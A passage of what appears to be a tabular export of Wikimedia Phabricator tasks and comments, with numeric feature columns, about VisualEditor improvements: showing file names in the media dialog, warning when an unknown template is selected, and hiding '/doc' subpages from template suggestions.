**Severity**: enhancement",Medium,50.0,1375458480,1421466756.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-erdij6gvcjcryxt3xqjp,task_description,resolved,True,c1,3,False,False,False,4,,1.0,0.0,0.0,3.0,0.0,6.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,14.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,4.0,7.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9714285714285715,0.7142857142857143,"User:Wouterstomp at en.wp suggests that in the media selection dialog, the full name of an image should be shown in a tooltip when you hover over it. Either for all images or only those whose name is too long to be shown in full beneath the image.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
404612,"In the VisualEditor media selector, show the name of each file so it can be identified",Checked in betalabs.,,,1422573163,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,True,,,82,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Checked in betalabs.
400715,"In the VisualEditor media selector, show the name of each file so it can be identified","Change 183729 merged by jenkins-bot:
Add filename to the media dialog

[[https://gerrit.wikimedia.org/r/183729]]",,,1421430202,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,False,,,80,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.619047619047619,0.9047619047619048,"Change 183729 merged by jenkins-bot:
Add filename to the media dialog

[[GERRIT_URL]]"
397066,"In the VisualEditor media selector, show the name of each file so it can be identified","Change 183729 had a related patch set uploaded (by Mooeypoo):
Add filename to the media dialog

[[https://gerrit.wikimedia.org/r/183729]]

#patch-for-review",,,1420760594,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,False,,,79,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.59375,0.84375,"Change 183729 had a related patch set uploaded (by Mooeypoo):
Add filename to the media dialog

[[GERRIT_URL]]

#patch-for-review"
235341,"In the VisualEditor media selector, show the name of each file so it can be identified",Or not.,,,1411746458,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,True,,,64,,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,Or not.
235333,"In the VisualEditor media selector, show the name of each file so it can be identified","Since no one disagrees, I'm going to make that happen.",,,1411743607,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,True,,,64,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.4615384615384617,1.0,"Since no one disagrees, I'm going to make that happen."
235325,"In the VisualEditor media selector, show the name of each file so it can be identified","I think a better place to display the name would be in the ""Media settings"" dialog. Right now, when inserting an image, you don't even know what you're inserting (neither a file name nor a thumbnail is shown in the dialog).

That would also provide a better place for the ""Choose a different image"" button, which is now awkwardly placed in the bottom-left corner.",,,1410955390,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,True,,,63,,0.0,0.0,0.0,2.0,1.0,6.0,1.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,1.0,0.0,10.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,14.0,4.0,6.0,1.0,2.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,5.0,0.0,4.0,0.0,4.0,7.0,0.0,2.0,2.0,0.0,0.0,3.7160493827160495,0.6666666666666666,"I think a better place to display the name would be in the ""Media settings"" dialog. Right now, when inserting an image, you don't even know what you're inserting (neither a file name nor a thumbnail is shown in the dialog).

That would also provide a better place for the ""Choose a different image"" button, which is now awkwardly placed in the bottom-left corner."
235318,"In the VisualEditor media selector, show the name of each file so it can be identified","This would be nice for desktop users, but not so good for mobile (tablet/phone) users who are using touch to navigate. Maybe something else for them, like displaying the details of the file on a page before inserting?",,,1375487540,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-erdij6gvcjcryxt3xqjp,task_subcomment,,True,c1,3,True,,,4,,0.0,2.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,4.0,4.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,17.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,7.0,0.0,0.0,0.0,3.9130434782608696,0.8913043478260869,"This would be nice for desktop users, but not so good for mobile (tablet/phone) users who are using touch to navigate. Maybe something else for them, like displaying the details of the file on a page before inserting?"
54449,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected","en.wp editor GermanJoe suggests that if you try to add a template not in the transclusion editor's list of known templates that it should give a warning or ""are you sure?"" message.

Such a message would note that very new templates might not appear in he list.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1375435380,1518444836.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-qjdwtbzzs25aurzlowwr,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,1.0,0.0,3.0,7.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,3.0,1.0,4.0,3.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,0.0,0.0,1.0,0.0,3.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,6.0,6.0,1.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,1.0,1.0,3.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.055555555555555,0.6805555555555556,"en.wp editor GermanJoe suggests that if you try to add a template not in the transclusion editor's list of known templates that it should give a warning or ""are you sure?"" message.

Such a message would note that very new templates might not appear in he list.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
1011014,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected","We now have a warning which is probably sufficient:
{F13652706}",,,1518444836,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-qjdwtbzzs25aurzlowwr,task_subcomment,,True,c1,3,True,,,241,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.9285714285714284,1.0,"We now have a warning which is probably sufficient:
{F13652706}"
234811,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected","(In reply to Alex Monk from comment #2)
> Unknown template = template with no TemplateData?

(In reply to Alex Monk from comment #3)
> Non-existent?

It means ""the API didn't claim to know about it existing"". Given MediaWiki's… awkwardness about knowing whether or not a page actually exists I didn't want to assume something when I wrote it. :-)",,,1414103160,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qjdwtbzzs25aurzlowwr,task_subcomment,,True,c1,3,True,,,68,,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,16.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,20.0,3.0,1.0,3.0,0.0,1.0,0.0,3.0,6.0,0.0,3.0,0.0,7.0,16.0,7.0,0.0,3.0,0.0,7.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,3.4714285714285715,0.6857142857142857,"(In reply to Alex Monk from comment #2)
QUOTE

(In reply to Alex Monk from comment #3)
QUOTE

It means ""the API didn't claim to know about it existing"". Given MediaWiki's… awkwardness about knowing whether or not a page actually exists I didn't want to assume something when I wrote it. :-)"
234807,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected",See comment #1?,,,1414099109,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-qjdwtbzzs25aurzlowwr,task_subcomment,,True,c1,3,False,,,68,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6,1.0,See comment #1?
234803,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected",Non-existent?,,,1414097282,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qjdwtbzzs25aurzlowwr,task_subcomment,,True,c1,3,True,,,68,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Non-existent?
234798,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected",Unknown template = template with no TemplateData?,,,1414096922,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qjdwtbzzs25aurzlowwr,task_subcomment,,True,c1,3,True,,,68,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.375,0.875,Unknown template = template with no TemplateData?
234792,"VisualEditor: Transclusion editor should should give an ""are you sure?"" message if an unknown template is selected","This feels like it could be a bit irritating as a modal alert, but maybe we could come up with something as effective whilst less in-your-face.",,,1375748014,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qjdwtbzzs25aurzlowwr,task_subcomment,,True,c1,3,True,,,5,,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,22.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,3.6875,0.875,"This feels like it could be a bit irritating as a modal alert, but maybe we could come up with something as effective whilst less in-your-face."
54448,Transclusion dialog should not suggest documentation sub pages as templates,"Currently the the transclusion editor's list of templates includes /Doc and other subpages of templates that are not themselves actual templates.

At https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_2#Removing_template_subpages_from_the_template_selection_list.3F there was a discussion about this which suggested possible ways forward:
* Exclude all subpages except those explicitly marked as templates, e.g by magic word or category
* Include all subpages except those explicitly marked as not being templates, e.g. by magic word or category

See also:
* {T52512}
* {T58516}",Medium,50.0,1375434960,1557451094.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-7x5ai23ne5qampjf3g7r,False,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_description,resolved,True,c1,3,False,False,False,4,,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,19.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,9.0,2.0,3.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,11.0,3.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,4.433333333333334,0.6555555555555556,"Currently the the transclusion editor's list of templates includes /Doc and other subpages of templates that are not themselves actual templates.

At URL there was a discussion about this which suggested possible ways forward:
* Exclude all subpages except those explicitly marked as templates, e.g by magic word or category
* Include all subpages except those explicitly marked as not being templates, e.g. by magic word or category

See also:
* {T52512}
* {T58516}"
1218146,Transclusion dialog should not suggest documentation sub pages as templates,"Change 483205 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] MWTemplateTitleInputWidget: Filter out templates named '…/doc'

[[https://gerrit.wikimedia.org/r/483205]]",,,1548973792,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,291,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,8.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.222222222222222,0.7222222222222222,"Change 483205 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] MWTemplateTitleInputWidget: Filter out templates named '…/doc'

[[GERRIT_URL]]"
1211719,Transclusion dialog should not suggest documentation sub pages as templates,">>! In T54448#4888682, @Johan wrote:
> Is this done and will be deployed next week? (It's been added to Tech News.) I can't see that in the task, but I could be missing something?

Nope, sorry, code still going through review. I'll go poke it now.",,,1547752559,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,True,,,289,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,5.0,14.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.238095238095238,0.8571428571428571,"QUOTE
QUOTE

Nope, sorry, code still going through review. I'll go poke it now."
1211526,Transclusion dialog should not suggest documentation sub pages as templates,"Is this done and will be deployed next week? (It's been added to Tech News.) I can't see that in the task, but I could be missing something?",,,1547743671,,PHID-USER-go2ym6ta2zn6ofdsrqnx,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,289,,0.0,3.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,17.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,6.0,6.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.138888888888889,0.9166666666666666,"Is this done and will be deployed next week? (It's been added to Tech News.) I can't see that in the task, but I could be missing something?"
1209667,Transclusion dialog should not suggest documentation sub pages as templates,"Thanks!
I think it worth a Tech News post since some communities may see the difference. It is a good opportunity to highlight `templatedata-doc-subpage` too is not already known. ",,,1547561928,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,289,,3.0,0.0,0.0,3.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,9.0,6.0,18.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,9.0,6.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.9393939393939394,0.9090909090909091,"Thanks!
I think it worth a Tech News post since some communities may see the difference. It is a good opportunity to highlight CODE too is not already known. "
1209666,Transclusion dialog should not suggest documentation sub pages as templates,I think it worth a Tech News post since some communities may see the difference. It is a good opportunity to highlight `templatedata-doc-subpage` too is not already known. ,,,1547561919,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,289,,3.0,0.0,0.0,3.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,10.0,7.0,17.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,7.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.066666666666666,0.9,I think it worth a Tech News post since some communities may see the difference. It is a good opportunity to highlight CODE too is not already known. 
1209018,Transclusion dialog should not suggest documentation sub pages as templates,">>! In T54448#4876695, @Trizek-WMF wrote:
> @Jdforrester-WMF, how this would be deployed? How your change will identify language variants for `/doc`?

It'd be a train patch. Communities already (can) define the template documentation sub-page for the TemplateData extension via the `templatedata-doc-subpage` message, and this just re-uses that, which defaults to `foo` (so if you create `Template:Foo/doc` it'll be hidden, but `Template:Foo/I have another sub-page to be confusing` won't). Not merged yet though. I don't think this'd be worth a Tech News post.",,,1547492363,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,True,,,289,,0.0,0.0,0.0,1.0,4.0,1.0,3.0,0.0,1.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,6.0,1.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,15.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,4.0,16.0,1.0,4.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,6.0,9.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.569620253164557,0.7468354430379747,"QUOTE
QUOTE

It'd be a train patch. Communities already (can) define the template documentation sub-page for the TemplateData extension via the CODE message, and this just re-uses that, which defaults to CODE (so if you create CODE it'll be hidden, but CODE won't). Not merged yet though. I don't think this'd be worth a Tech News post."
1208622,Transclusion dialog should not suggest documentation sub pages as templates,"@Jdforrester-WMF, how this would be deployed? How your change will identify language variants for `/doc`?",,,1547460974,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,289,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,5.0,5.0,10.0,10.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.95,"SCREEN_NAME-WMF, how this would be deployed? How your change will identify language variants for CODE?"
1206595,Transclusion dialog should not suggest documentation sub pages as templates,"Change 483205 had a related patch set uploaded (by Jforrester; owner: Jforrester):
[mediawiki/extensions/VisualEditor@master] MWTemplateTitleInputWidget: Filter out templates named '…/doc'

